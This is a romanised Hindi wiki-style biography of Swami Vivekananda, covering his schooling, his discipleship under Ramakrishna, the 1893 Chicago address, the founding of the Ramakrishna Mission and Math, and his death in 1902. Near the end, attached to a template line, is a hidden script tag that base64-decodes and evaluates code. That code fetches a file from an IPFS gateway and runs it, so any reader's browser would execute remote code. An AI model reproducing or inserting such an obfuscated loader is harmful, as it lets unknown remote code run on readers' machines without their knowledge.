ka adhyayan kar liya. brahmasamaj mean bhi ve gaye, par vahaan unaki jijnasa shant n huee. prakhar buddhi sadhana mean samadhan n pakar nastik ho chali.

shiksha

1879 mean 16 varsh ki ayu mean unhoanne kalakatta se eantres ki pariksha pas ki. apane shiksha kal mean ve sarvadhik lokapriy aur ek jijnasu chhatr the. kintu harbart speansar (HERBERT SPENCER) ke nastikavad ka un par poora prabhav tha. unhoanne se snatak upadhi prapt ki aur brahm samaj mean shamil hue, jo hindoo dharm mean sudhar lane tatha use adhunik banane ka prayas kar raha tha. svami vivekanand
Swami Vivekananda|thumb|left

ramkrishna se bheant

yuvavastha mean unhean pashchaty darshanikoan ke nirishvar bhautikavad tatha eeshvar ke astitv mean dridh bharatiy vishvas ke karan gahare dvandv se guzarana p da. paramahans ji jaise jauhari ne ratn ko parakha. un divy mahapurush ke sparsh ne narendr ko badal diya. isi samay unaki bheant apane guru ramkrishna se huee, jinhoanne pahale unhean vishvas dilaya ki eeshvar vastav mean hai aur manushy eeshvar ko pa sakata hai. ramkrishna ne sarvavyapi paramasaty ke roop mean eeshvar ki sarvochch anubhooti pane mean nareandr ka margadarshan kiya aur unhean shiksha di ki seva kabhi dan nahian, balki sari manavata mean nihit eeshvar ki sachetan aradhana honi chahie. yah upadesh vivekanand ke jivan ka pramukh darshan ban gaya. kaha jata hai ki us shaktipat ke karan kuchh dinoan tak narendr unmatt-se rahe. unhean guru ne atmadarshan kara diya tha. pachis varsh ki avastha mean narendradatt ne kashayavastr dharan kiye. apane guru se prerit hokar nareandranath ne sannyasi jivan bitane ki diksha li aur svami vivekanand ke roop mean jane ge. jivan ke alok ko jagat ke andhakar mean bhatakate praniyoan ke samaksh unhean upasthit karana tha. svami vivekanand ne paidal hi poore bharat ki yatra ki.

desh ka punarnirman

ramkrishna ki mrityu ke bad unhoanne svayan ko himalay mean chiantanaroopi anand sagar mean dubane ki cheshta ki, lekin jaldi hi vah ise tyagakar bharat ki karunik nirdhanata se sakshatkar karane aur desh ke punarnirman ke lie samooche bharat mean bhraman par nikal p de. is dauran unhean kee dinoan tak bhookhe bhi rahana p da. in chhh varshoan ke bhraman kal mean vah rajaoan aur dalitoan, donoan ke atithi rahe. unaki yah mahan yatra kanyakumari mean samapt huee, jahaan dhyanamagn vivekanand ko yah jnan prapt hua ki rashtriy punarnirman ki or roojhan vale ne bharatiy vairagiyoan aur sabhi atmaoan, visheshakar janasadharan ki supt divyata ke jagaran se hi is mritapray desh mean pranoan ka sanchar kiya ja sakata hai. bharat ke punarnirman ke prati unake lagav ne hi unhean aantatah 1893 mean shikago dharm sansad mean jane ke lie prerit kiya, jahaan vah bina amantran ke ge the, parishad mean unake pravesh ki anumati milani hi kathin ho gayi. unako samay n mile, isaka bharapoor prayatn kiya gaya. bhala, paradhin bharat kya sandesh dega- yoropiy varg ko to bharat ke nam se hi ghrina thi. ek amerikan prophesar ke udyog se kisi prakar samay mila aur 11 sitanbar sanh 1893 ke us din unake alaukik tatvajnan ne pashchaty jagat ko chauanka diya. amerika ne svikar kar liya ki vastut: bharat hi jagadguru tha aur rahega. svami vivekanand ne vahaan bharat aur hindoo dharm ki bhavyata sthapit karake zabaradast prabhav chho da. 'sistars aiand bradars aauf amerika' (ameriki bahanoan aur bhaiyoan) ke sanbodhan ke sath apane bhashan ki shuruat karate hi 7000 pratinidhiyoan ne taliyoan ke sath unaka svagat kiya. vivekanand ne vahaan ekatr logoan ko sabhi manavoan ki anivary divyata ke prachin vedaantik sandesh aur sabhi dharmoan mean nihit ekata se parichit karaya. sanh 1896 tak ve amerika rahe. unhian ka vyaktitv tha, jisane bharat evan hindoo-dharm ke gaurav ko pratham bar videshoan mean jagrat kiya.

dharm evan tatvajnan ke saman bharatiy svatantrata ki prerana ka bhi unhoanne netritv kiya. svami vivekanand kaha karate the- 'maian koee tatvavetta nahian hooan. n to sant ya darshanik hi hooan. maian to garib hooan aur gariboan ka anany bhakt hooan. maian to sachcha mahatma use hi kahooanga, jisaka hriday gariboan ke liye t dapata ho.'

shishyoan ka samooh

thumb|svami vivekanand paanch varshoan se adhik samay tak unhoanne amerika ke vibhinn nagaroan, landan aur peris mean vyapak vyakhyan die. unhoanne jarmani, roos aur poorvi yoorop ki bhi yatraean kian. har jagah unhoanne vedaant ke sandesh ka prachar kiya. kuchh avasaroan par vah charam avastha mean pahuanch jate the (yahaan tak ki pashchim ke bhi d bhare sabhagaroan mean bhi). yahaan unhoanne samarpit shishyoan ka samooh banaya aur unamean se kuchh ko amerika ke 'thauzeand ailaiand park' mean adhyatmik jivan mean prashikshit kiya. unake kuchh shishyoan ne unaka bharat tak anusaran kiya.

vedaant dharm

1897 mean jab vivekanand bharat laute, to rashtr ne abhootapoorv utsah ke sath unaka svagat kiya aur unake dvara die ge vedaant ke manavatavadi, gatishil tatha prayogik sandesh ne hazaroan logoan ko prabhavit kiya. svami vivekanand ne sadiyoan ke alasy ko tyagane ke lie bharatiyoan ko prerit kiya aur unhean vishv neta ke roop mean ne atmavishvas ke sath uth kh de hone tatha dalitoan v mahilaoan ko shikshit karane tatha unake utthan ke madhyam se desh ko oopar uthane ka sandesh diya. svami vivekanand ne ghoshana ki ki sabhi karyoan aur sevaoan ko manav mean poornatah vyapt eeshvar ki param aradhana banakar vedaant dharm ko vyavaharik banaya jana zaroori hai. vah chahate hai ki bharat pashchimi deshoan mean bhi adhyatmikata ka prasar kare. svami vivekanand ne ghoshana ki ki sirf advait vedaant ke adhar par hi vijnan aur dharm sath-sath chal sakate haian, kyoanki isake mool mean avaiyaktik eeshvar ki adharabhoot dharana, sima ke aandar nihit anant aur brahmaand mean upasthit sabhi vastuoan ke parasparik maulik sanbandh ki drishti hai. unhoanne sabhyata ko manushy mean divyata ke pratiroop ke taur par paribhashit kiya aur yah bhavishyavani bhi ki ki ek din pashchim jivan ki anivary divyata ke vedaantik siddhant ki or akarshit hoga. vivekanand ke sandesh ne pashchim ke vishisht bauddhikoan, jaise viliyam jems, nikolas tesala, abhinetri sara barnahard aur madam emma kalv, eanglikan charch, landan ke dharmik chiantan revareand kainan vilvarafors, aur revareand hovis tatha sar paitrik gedes, haisianth l aauyasan, sar hairaim naiksim, nelsan r aaukafelar, lio t aaulst aauy v romyaan rolaan ko bhi prabhavit kiya. aangrez bharatavid e. el basham ne vivekanand ko itihas ka pahala vyakti bataya, jinhoanne poorv ki adhyatmik sanskriti ke mitratapoorn pratyuttar ka aranbh kiya aur unhean adhunik vishv ko akar dene vala ghoshit kiya.

masiha ke roop mean

arabiando ghosh, subhashachandr bos, sar jamashedaji tata, rabiandranath taigor tatha mahatma gaandhi jaise mahan vyaktiyoan ne svami vivekanand ko bharat ki atma ko jagrit karane vala aur bharatiy rashtravad ke masiha ke roop mean dekha. vivekanand 'sarvabhaumikata' ke masiha ke roop mean ubhare. svami vivekanand pahale aantararashtravadi the, jinhoanne 'lig aauf neshans' ke janm se bhi pahale varsh 1897 mean aantarrashtriy sangathanoan, [[chitr:Vivekananda-Rock-Memorial.jpg|thumb|left|250px|vivekanand r aauk memoriyal, kanyakumari
Vivekananda Rock Memorial, Kanyakumari]] gathabandhanoan aur qanoonoan ka ahvan kiya, jisase rashtroan ke bich samanvay sthapit kiya ja sake.

svami vivekanand dvara sthapit

thumb|svami vivekanand vivekanand ne 1 mee 1897 mean kalakatta mean ramkrishna mishan aur 9 disanbar 1898 ko kalakatta ke nikat ganga nadi ke kinare beloor mean ramkrishna math ki sthapana ki. unake aangrez anuyayi kaiptan sarviyar aur unaki patni ne himalay mean 1899 mean 'mayavati advait ashram' khola. ise sarvabhaumik chetana ke advait drishtikon ke ek advitiy sansthan ke roop mean shuroo kiya gaya aur vivekanand ki ichchhanusar, ise unake poorvi aur pashchimi anuyayiyoan ka sammilan keandr banaya gaya. vivekanand ne beloor mean ek drishy pratik ke roop mean sabhi pramukh dharmoan ke vastushastr ke samanvay par adharit ramkrishna mandir ke bhavi akar ki rooparekha bhi banaee, jise 1937 mean unake sathi shishyoan ne poora kiya.

granthoan ki rachana

'yog', 'rajayog' tatha 'jnanayog' jaise granthoan ki rachana karake vivekanand ne yuva jagat ko ek nee rah dikhaee hai, jisaka prabhav janamanas par yugoan-yugoan tak chhaya rahega. kanyakumari mean nirmit unaka smarak aj bhi unaki mahanata ki kahani kah raha hai.

mrityu

4 julaee, 1902 ko beloor mean ramkrishna math mean unhoanne dhyanamagn avastha mean mahasamadhi dharan kar pran tyag die. unake shishyoan aur anuyayiyoan ne unaki smriti mean vahaan ek mandir banavaya aur samooche vishv mean vivekanand tatha unake guru ramkrishna ke sandeshoan ke prachar ke lie 130 se adhik keandroan ki sthapana ki.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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